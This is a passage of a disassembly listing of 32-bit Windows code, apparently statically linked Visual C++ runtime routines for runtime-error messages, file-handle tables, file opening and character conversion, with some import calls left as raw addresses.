		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_41AFE0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423696
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41B5F0
		add	esp, 10h


loc_423696:				; CODE XREF: sub_4235C9+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41BEB0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp+var_A0]
		push	offset asc_427C10 ; "\n\n"
		push	eax
		call	sub_41BEC0
		push	off_43C95C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BEC0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_424D78
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423719
; ---------------------------------------------------------------------------


loc_4236F3:				; CODE XREF: sub_4235C9+3Cj
					; sub_4235C9+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43C95C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		nop
		call	near ptr 2620000h
		push	eax
		call	near ptr 26D0000h
		nop


loc_423719:				; CODE XREF: sub_4235C9+2Ej
					; sub_4235C9+59j ...
		pop	esi
		leave
		retn
sub_4235C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_42371C	proc near		; CODE XREF: sub_423A33:loc_423BABp
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DC5C0


loc_42372B:				; CODE XREF: sub_42371C+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423768
		lea	edx, [eax+100h]


loc_423737:				; CODE XREF: sub_42371C+28j
		cmp	eax, edx
		jnb	short loc_423757
		test	byte ptr [eax+4], 1
		jz	short loc_423746
		add	eax, 8
		jmp	short loc_423737
; ---------------------------------------------------------------------------


loc_423746:				; CODE XREF: sub_42371C+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4237AB


loc_423757:				; CODE XREF: sub_42371C+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DC6C0
		jl	short loc_42372B
		jmp	short loc_4237AB
; ---------------------------------------------------------------------------


loc_423768:				; CODE XREF: sub_42371C+13j
		mov	esi, 100h
		push	esi
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4237AB
		add	dword_4DC6C0, 20h
		lea	ecx, ds:4DC5C0h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_42378E:				; CODE XREF: sub_42371C+88j
		cmp	eax, edx
		jnb	short loc_4237A6
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_42378E
; ---------------------------------------------------------------------------


loc_4237A6:				; CODE XREF: sub_42371C+74j
		shl	edi, 5
		mov	ebx, edi


loc_4237AB:				; CODE XREF: sub_42371C+39j
					; sub_42371C+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_42371C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4237B1	proc near		; CODE XREF: sub_423A33+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DC6C0
		push	edi
		jnb	short loc_423811
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DC5C0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_423811
		cmp	dword_43A2C4, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_423807
		sub	eax, 0
		jz	short loc_4237FE
		dec	eax
		jz	short loc_4237F9
		dec	eax
		jnz	short loc_423807
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_423801
; ---------------------------------------------------------------------------


loc_4237F9:				; CODE XREF: sub_4237B1+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_423801
; ---------------------------------------------------------------------------


loc_4237FE:				; CODE XREF: sub_4237B1+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_423801:				; CODE XREF: sub_4237B1+46j
					; sub_4237B1+4Bj
		nop
		call	near ptr 26104F6h


loc_423807:				; CODE XREF: sub_4237B1+36j
					; sub_4237B1+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_423825
; ---------------------------------------------------------------------------


loc_423811:				; CODE XREF: sub_4237B1+Cj
					; sub_4237B1+28j
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9
		or	eax, 0FFFFFFFFh


loc_423825:				; CODE XREF: sub_4237B1+5Ej
		pop	edi
		pop	esi
		retn
sub_4237B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423828	proc near		; CODE XREF: sub_41DA72+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DC6C0
		push	edi
		jnb	short loc_42388B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DC5C0h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_42388B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_42388B
		cmp	dword_43A2C4, 1
		jnz	short loc_423881
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_423878
		dec	ecx
		jz	short loc_423873
		dec	ecx
		jnz	short loc_423881
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------


loc_423873:				; CODE XREF: sub_423828+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------


loc_423878:				; CODE XREF: sub_423828+3Ej
		push	eax
		push	0FFFFFFF6h


loc_42387B:				; CODE XREF: sub_423828+49j
					; sub_423828+4Ej
		call	near ptr 26104F6h
		nop


loc_423881:				; CODE XREF: sub_423828+38j
					; sub_423828+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_42389F
; ---------------------------------------------------------------------------


loc_42388B:				; CODE XREF: sub_423828+Cj
					; sub_423828+2Aj ...
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9
		or	eax, 0FFFFFFFFh


loc_42389F:				; CODE XREF: sub_423828+61j
		pop	edi
		pop	esi
		retn
sub_423828	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238A2	proc near		; CODE XREF: sub_41DA72+32p
					; sub_41DA72+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC6C0
		jnb	short loc_4238CA
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC5C0[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4238CA
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_4238CA:				; CODE XREF: sub_4238A2+Aj
					; sub_4238A2+23j
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4238A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238DF	proc near		; CODE XREF: sub_41DB50+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC6C0
		jnb	short loc_423928
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DC5C0[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_423928
		push	eax
		call	sub_4238A2
		pop	ecx
		push	eax
		nop
		call	near ptr 2610000h
		test	eax, eax
		jnz	short loc_42391D
		call	near ptr 2660D84h
		nop
		jmp	short loc_42391F
; ---------------------------------------------------------------------------


loc_42391D:				; CODE XREF: sub_4238DF+34j
		xor	eax, eax


loc_42391F:				; CODE XREF: sub_4238DF+3Cj
		test	eax, eax
		jz	short locret_423935
		mov	dword_4DB27C, eax


loc_423928:				; CODE XREF: sub_4238DF+Aj
					; sub_4238DF+22j
		mov	dword_4DB278, 9
		or	eax, 0FFFFFFFFh

locret_423935:				; CODE XREF: sub_4238DF+42j
		retn
sub_4238DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_423936	proc near		; DATA XREF: ___:00429024o
		mov	eax, dword_4DC5A0
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_42394A
		mov	eax, 200h
		jmp	short loc_423950
; ---------------------------------------------------------------------------


loc_42394A:				; CODE XREF: sub_423936+Bj
		cmp	eax, esi
		jge	short loc_423955
		mov	eax, esi


loc_423950:				; CODE XREF: sub_423936+12j
		mov	dword_4DC5A0, eax


loc_423955:				; CODE XREF: sub_423936+16j
		push	4
		push	eax
		call	sub_424E01
		pop	ecx
		mov	dword_4DB598, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	4
		push	esi
		mov	dword_4DC5A0, esi
		call	sub_424E01
		pop	ecx
		mov	dword_4DB598, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	1Ah
		call	sub_41DA29
		pop	ecx


loc_423989:				; CODE XREF: sub_423936+30j
					; sub_423936+49j
		xor	ecx, ecx
		mov	eax, offset off_43C9E8


loc_423990:				; CODE XREF: sub_423936+6Ej
		mov	edx, dword_4DB598
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43CC68
		jl	short loc_423990
		xor	edx, edx
		mov	ecx, offset dword_43C9F8


loc_4239AD:				; CODE XREF: sub_423936+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DC5C0[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4239CA
		test	eax, eax
		jnz	short loc_4239CD


loc_4239CA:				; CODE XREF: sub_423936+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_4239CD:				; CODE XREF: sub_423936+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43CA58
		jl	short loc_4239AD
		pop	esi
		retn
sub_423936	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239DB	proc near		; DATA XREF: ___:00429034o

; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES

		call	sub_41DBE7
		cmp	byte_4DB2B8, 0
		jz	short locret_4239EE
		jmp	loc_424EB2
; ---------------------------------------------------------------------------

locret_4239EE:				; CODE XREF: sub_4239DB+Cj
		retn
sub_4239DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239EF	proc near		; CODE XREF: sub_41F043+32p
					; sub_41F58A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4DB460
		push	1000h
		call	sub_41B4D5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_423A18
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_423A29
; ---------------------------------------------------------------------------


loc_423A18:				; CODE XREF: sub_4239EF+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_423A29:				; CODE XREF: sub_4239EF+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4239EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423A33	proc near		; CODE XREF: sub_41F32D+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_423A59
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_423A64
; ---------------------------------------------------------------------------


loc_423A59:				; CODE XREF: sub_423A33+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_423A64:				; CODE XREF: sub_423A33+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_423A7E
		test	ch, 40h
		jnz	short loc_423A7A
		cmp	dword_4DB570, eax
		jz	short loc_423A7E


loc_423A7A:				; CODE XREF: sub_423A33+3Dj
		or	[ebp+var_1], 80h


loc_423A7E:				; CODE XREF: sub_423A33+38j
					; sub_423A33+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_423AB6
		dec	eax
		jz	short loc_423AAD
		dec	eax
		jz	short loc_423AA4


loc_423A8F:				; CODE XREF: sub_423A33+9Fj
					; sub_423A33+E8j ...
		mov	dword_4DB278, 16h
		mov	dword_4DB27C, ebx
		jmp	loc_423CC9
; ---------------------------------------------------------------------------


loc_423AA4:				; CODE XREF: sub_423A33+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------


loc_423AAD:				; CODE XREF: sub_423A33+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------


loc_423AB6:				; CODE XREF: sub_423A33+54j
		mov	[ebp+var_C], 80000000h


loc_423ABD:				; CODE XREF: sub_423A33+78j
					; sub_423A33+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_423AEB
		cmp	eax, 20h
		jz	short loc_423AE2
		cmp	eax, 30h
		jz	short loc_423AD9
		cmp	eax, 40h
		jnz	short loc_423A8F
		mov	[ebp+var_10], esi
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AD9:				; CODE XREF: sub_423A33+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AE2:				; CODE XREF: sub_423A33+95j
		mov	[ebp+var_10], 1
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AEB:				; CODE XREF: sub_423A33+90j
		mov	[ebp+var_10], ebx


loc_423AEE:				; CODE XREF: sub_423A33+A4j
					; sub_423A33+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_423B38
		jz	short loc_423B33
		cmp	ecx, ebx
		jz	short loc_423B33
		cmp	ecx, edi
		jz	short loc_423B2A
		cmp	ecx, 200h
		jz	short loc_423B51
		cmp	ecx, 300h
		jnz	loc_423A8F
		mov	[ebp+var_8], 2
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B2A:				; CODE XREF: sub_423A33+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B33:				; CODE XREF: sub_423A33+D0j
					; sub_423A33+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B38:				; CODE XREF: sub_423A33+CEj
		cmp	ecx, 500h
		jz	short loc_423B5A
		cmp	ecx, 600h
		jz	short loc_423B51
		cmp	ecx, edx
		jz	short loc_423B5A
		jmp	loc_423A8F
; ---------------------------------------------------------------------------


loc_423B51:				; CODE XREF: sub_423A33+E0j
					; sub_423A33+113j
		mov	[ebp+var_8], 5
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B5A:				; CODE XREF: sub_423A33+10Bj
					; sub_423A33+117j
		mov	[ebp+var_8], 1


loc_423B61:				; CODE XREF: sub_423A33+F5j
					; sub_423A33+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_423B80
		mov	ecx, dword_4DB280
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_423B80
		push	1
		pop	esi


loc_423B80:				; CODE XREF: sub_423A33+138j
					; sub_423A33+148j
		test	al, 40h
		jz	short loc_423B8E
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_423B8E:				; CODE XREF: sub_423A33+14Fj
		test	ah, 10h
		jz	short loc_423B95
		or	esi, edi


loc_423B95:				; CODE XREF: sub_423A33+15Ej
		test	al, 20h
		jz	short loc_423BA1
		or	esi, 8000000h
		jmp	short loc_423BAB
; ---------------------------------------------------------------------------


loc_423BA1:				; CODE XREF: sub_423A33+164j
		test	al, 10h
		jz	short loc_423BAB
		or	esi, 10000000h


loc_423BAB:				; CODE XREF: sub_423A33+16Cj
					; sub_423A33+170j
		call	sub_42371C
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_423BCC
		and	dword_4DB27C, 0
		mov	dword_4DB278, 18h
		jmp	short loc_423C0A
; ---------------------------------------------------------------------------


loc_423BCC:				; CODE XREF: sub_423A33+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		nop
		call	near ptr 26E08D2h
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_423BFD
		push	esi
		nop
		call	near ptr 2610735h
		test	eax, eax
		jnz	short loc_423C11
		push	esi
		nop
		call	near ptr 2640871h


loc_423BFD:				; CODE XREF: sub_423A33+1B6j
		nop
		call	near ptr 2660D84h
		push	eax
		call	sub_4203DF
		pop	ecx


loc_423C0A:				; CODE XREF: sub_423A33+197j
		mov	eax, edi
		jmp	loc_423CE7
; ---------------------------------------------------------------------------


loc_423C11:				; CODE XREF: sub_423A33+1C1j
		cmp	eax, 2
		jnz	short loc_423C1C
		or	[ebp+var_1], 40h
		jmp	short loc_423C25
; ---------------------------------------------------------------------------


loc_423C1C:				; CODE XREF: sub_423A33+1E1j
		cmp	eax, 3
		jnz	short loc_423C25
		or	[ebp+var_1], 8


loc_423C25:				; CODE XREF: sub_423A33+1E7j
					; sub_423A33+1ECj
		push	esi
		push	ebx
		call	sub_4237B1
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DC5C0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_423CCE
		test	al, 80h
		jz	short loc_423CCE
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_423CCE
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_423C83
		cmp	dword_4DB27C, 83h
		jz	short loc_423CCE
		jmp	short loc_423CC2
; ---------------------------------------------------------------------------


loc_423C83:				; CODE XREF: sub_423A33+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_423CB0
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_423CB0
		push	[ebp+var_10]
		push	ebx
		call	sub_424F0A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_423CC2


loc_423CB0:				; CODE XREF: sub_423A33+265j
					; sub_423A33+26Bj
		push	0
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_423CCE


loc_423CC2:				; CODE XREF: sub_423A33+24Ej
					; sub_423A33+27Bj
		push	ebx
		call	sub_41DA72
		pop	ecx


loc_423CC9:				; CODE XREF: sub_423A33+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423CE7
; ---------------------------------------------------------------------------


loc_423CCE:				; CODE XREF: sub_423A33+221j
					; sub_423A33+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_423CE5
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_423CE5
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_423CE5:				; CODE XREF: sub_423A33+29Fj
					; sub_423A33+2A5j
		mov	eax, ebx


loc_423CE7:				; CODE XREF: sub_423A33+1D9j
					; sub_423A33+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423A33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CEC	proc near		; CODE XREF: sub_41F515+5Ep
					; sub_4200E8+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C50
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DB468
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_423D5B
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427940
		push	esi
		nop
		call	near ptr 2600000h
		test	eax, eax
		jz	short loc_423D39
		mov	eax, esi
		jmp	short loc_423D56
; ---------------------------------------------------------------------------


loc_423D39:				; CODE XREF: sub_423CEC+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CAE2C
		push	esi
		push	ebx
		nop
		call	near ptr 26007F3h
		test	eax, eax
		jz	loc_423E21
		push	2
		pop	eax


loc_423D56:				; CODE XREF: sub_423CEC+4Bj
		mov	dword_4DB468, eax


loc_423D5B:				; CODE XREF: sub_423CEC+2Fj
		cmp	eax, 2
		jnz	short loc_423D84
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_423D6C
		mov	eax, dword_4DB334


loc_423D6C:				; CODE XREF: sub_423CEC+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 26007F3h
		jmp	loc_423E23
; ---------------------------------------------------------------------------


loc_423D84:				; CODE XREF: sub_423CEC+72j
		cmp	eax, 1
		jnz	loc_423E21
		cmp	[ebp+arg_10], ebx
		jnz	short loc_423D9A
		mov	eax, dword_4DB344
		mov	[ebp+arg_10], eax


loc_423D9A:				; CODE XREF: sub_423CEC+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		nop
		call	near ptr 27F0000h
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_423E21
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41B590
		add	esp, 0Ch
		jmp	short loc_423DF0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_423DF0:				; CODE XREF: sub_423CEC+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_423E21
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	near ptr 27F0000h
		nop
		cmp	eax, ebx
		jz	short loc_423E21
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		nop
		call	near ptr 2600000h
		jmp	short loc_423E23
; ---------------------------------------------------------------------------


loc_423E21:				; CODE XREF: sub_423CEC+61j
					; sub_423CEC+9Bj ...
		xor	eax, eax


loc_423E23:				; CODE XREF: sub_423CEC+93j
					; sub_423CEC+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423CEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_423E35	proc near		; CODE XREF: sub_41F58A+61p
					; sub_420446+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC6C0
		jb	short loc_423E44
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_423E44:				; CODE XREF: sub_423E35+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC5C0[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_423E35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423E5B	proc near		; CODE XREF: sub_41F69F+2D4p
					; sub_41F69F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_423E67
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423E67:				; CODE XREF: sub_423E5B+8j
		cmp	dword_4DB334, 0
		jnz	short loc_423E82
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_423EB4
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423E82:				; CODE XREF: sub_423E5B+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43C504
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4DB344
		call	near ptr 27E10BBh
		nop
		test	eax, eax
		jz	short loc_423EB4
		cmp	[ebp+arg_0], 0
		jz	short loc_423EC1


loc_423EB4:				; CODE XREF: sub_423E5B+1Ej
					; sub_423E5B+51j
		mov	dword_4DB278, 2Ah
		or	eax, 0FFFFFFFFh


loc_423EC1:				; CODE XREF: sub_423E5B+57j
		pop	ebp
		retn
sub_423E5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423EC3	proc near		; CODE XREF: sub_420510+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_423EE6
		cmp	[ebp+arg_8], ebx
		jz	short loc_423EE6
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_423EEC
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_423EE6
		mov	[eax], bx


loc_423EE6:				; CODE XREF: sub_423EC3+Cj
					; sub_423EC3+11j ...
		xor	eax, eax


loc_423EE8:				; CODE XREF: sub_423EC3+42j
					; sub_423EC3+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423EEC:				; CODE XREF: sub_423EC3+17j
		cmp	dword_4DB334, ebx
		jnz	short loc_423F07
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_423F02
		movzx	ax, al
		mov	[ecx], ax


loc_423F02:				; CODE XREF: sub_423EC3+36j
					; sub_423EC3+C0j
		push	1
		pop	eax
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------


loc_423F07:				; CODE XREF: sub_423EC3+2Fj
		mov	ecx, off_43C2F8
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_423F64
		mov	eax, dword_43C504
		cmp	eax, 1
		jle	short loc_423F4B
		cmp	[ebp+arg_8], eax
		jl	short loc_423F55
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4DB344
		nop
		call	near ptr 27F0000h
		test	eax, eax
		mov	eax, dword_43C504
		jnz	short loc_423EE8


loc_423F4B:				; CODE XREF: sub_423EC3+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_423F55
		cmp	[esi+1], bl
		jnz	short loc_423EE8


